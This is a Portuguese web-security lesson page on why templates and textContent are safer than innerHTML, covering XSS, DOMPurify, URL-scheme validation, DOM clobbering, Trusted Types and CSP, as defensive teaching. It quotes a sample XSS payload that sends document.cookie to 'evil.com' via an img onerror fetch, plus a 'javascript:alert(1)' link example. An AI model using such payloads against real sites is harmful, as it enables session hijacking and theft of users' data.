0Pricing
HTML Academy · Aula

Modelos versus innerHTML: segurança

Entenda por que os modelos são mais seguros do que definir innerHTML.

Modelos versus innerHTML: segurança é uma aula grátis de HTML Academy no CoddyKit. Esta é a aula 4 de 4. Você pode ler a aula completa abaixo gratuitamente — depois pratica ao vivo no navegador com um editor de código integrado e um tutor de IA 24/7. Faz parte do caminho de aprendizado de HTML Academy, e seu progresso é sincronizado entre a web e o app CoddyKit. O curso de HTML Academy inclui 4 aulas no total.

Risco de injeção com innerHTML

Definir el.innerHTML = userInput analisa a string como HTML. Se userInput contiver <script> ou manipuladores de eventos como onerror, o navegador os executará — criando uma vulnerabilidade de Cross-Site Scripting (XSS).

Exemplo de XSS via innerHTML

Um invasor envia um nome de usuário: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Se isso for renderizado com innerHTML, o onerror será acionado e exfiltrará o cookie da sessão. O conteúdo de texto se torna código executável.

textContent é seguro

el.textContent = userInput trata a string como texto simples — sem análise de HTML e sem execução de scripts. O navegador escapa automaticamente < e > nos nós de texto. Use sempre textContent para valores fornecidos pelo usuário.

// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;

O elemento de modelo evita a análise de strings

Ao usar template.cloneNode(true), a estrutura vem de um modelo HTML previamente analisado — não de uma string fornecida pelo usuário. Definir valores por meio de textContent nos nós clonados mantém os dados do usuário em nós de texto, nunca em HTML analisado. Estrutura e dados ficam separados.

Sanitização quando innerHTML é necessário

Se for necessária formatação HTML fornecida pelos usuários (texto rico), faça a sanitização antes de definir innerHTML. DOMPurify é a biblioteca padrão: el.innerHTML = DOMPurify.sanitize(richHtml). Ela remove tags e atributos perigosos, preservando a formatação segura.

Risco de insertAdjacentHTML

insertAdjacentHTML("beforeend", html) também analisa strings HTML — o mesmo risco de XSS que innerHTML. Aplique as mesmas regras de sanitização. A alternativa mais segura é criar elementos com createElement, definir seu textContent e usar appendChild.

Segurança de setAttribute

Definir atributos com dados do usuário pode criar uma injeção: el.setAttribute("href", userUrl), quando userUrl é javascript:alert(1), cria um XSS. Valide os esquemas de URL: permita somente http:, https: e mailto: antes de definir atributos href ou src.

Adulteração do DOM

A adulteração do DOM é um ataque no qual elementos de formulário nomeados (id="getElementById") substituem variáveis globais do JavaScript. Acesse sempre os elementos por meio de document.getElementById(), em vez de propriedades globais de window. A Content Security Policy também reduz os ataques de adulteração.

Política Trusted Types

Trusted Types (Chrome, aplicado por meio de CSP) exige que innerHTML, insertAdjacentHTML e outros pontos de inserção semelhantes recebam strings encapsuladas por uma política. Strings brutas não podem ser atribuídas — somente valores criados por uma política TrustedTypes declarada. Isso evita o desvio acidental da sanitização.

Segurança de fragmentos do documento

Criar elementos com a API do DOM (createElement, createTextNode) e manipulá-los em um DocumentFragment é inerentemente seguro contra XSS — o texto é sempre texto, nunca HTML analisado. DocumentFragments são a maneira mais segura de construir interfaces dinâmicas complexas.

Content Security Policy

Uma CSP rigorosa (sem unsafe-inline e com scripts baseados em nonce) oferece uma camada adicional de defesa contra XSS. Mesmo que um invasor injete HTML, a CSP impede a execução dos scripts injetados. A CSP não elimina a necessidade de sanitização — é uma rede de segurança, não a defesa principal.

Verificação de conhecimento

Por que textContent é mais seguro do que innerHTML para renderizar dados fornecidos pelo usuário?

Resumo

innerHTML e APIs relacionadas analisam strings HTML, criando vulnerabilidades de XSS quando os dados do usuário são interpolados sem sanitização. O uso de textContent, a clonagem de modelos com preenchimento por textContent, o DOMPurify para texto rico e a Content Security Policy criam uma defesa em camadas contra ataques de injeção de HTML.

Perguntas Frequentes

A aula “Modelos versus innerHTML: segurança” é grátis?

Sim — o texto completo de “Modelos versus innerHTML: segurança” é grátis para ler aqui na web. Para praticá-la interativamente (um editor de código integrado e um tutor de IA 24/7) e desbloquear o restante do curso de HTML Academy, atualize para CoddyKit PRO. O curso de HTML Academy inclui 4 aulas no total.

O que vou aprender em “Modelos versus innerHTML: segurança”?

Entenda por que os modelos são mais seguros do que definir innerHTML. Você pratica HTML Academy com código prático que executa diretamente no navegador, e um tutor de IA 24/7 responde suas dúvidas enquanto trabalha na aula.

Preciso ter experiência prévia para começar HTML Academy?

Nenhuma experiência prévia é necessária. HTML Academy no CoddyKit é estruturado para alunos iniciantes até avançados, então você pode começar aqui ou desde o início e aprender no seu ritmo. Esta é a aula 4 de 4.

Quanto tempo leva a aula “Modelos versus innerHTML: segurança”?

A maioria das aulas CoddyKit leva cerca de 5–10 minutos. Cada uma é compacta e interativa, então você faz progresso constante e retoma exatamente de onde parou entre web e app.

Posso escrever e executar código nesta aula de HTML Academy?

Sim. Cada aula de HTML Academy inclui um editor de código integrado, então você escreve e executa código real direto no navegador e recebe feedback de IA instantaneamente — nenhuma configuração local necessária.

Todas as aulas deste curso

  1. O elemento template: conteúdo inerte
  2. Clonando modelos com cloneNode
  3. Usando template com renderização em JavaScript
  4. Modelos versus innerHTML: segurança
← Voltar para HTML Academy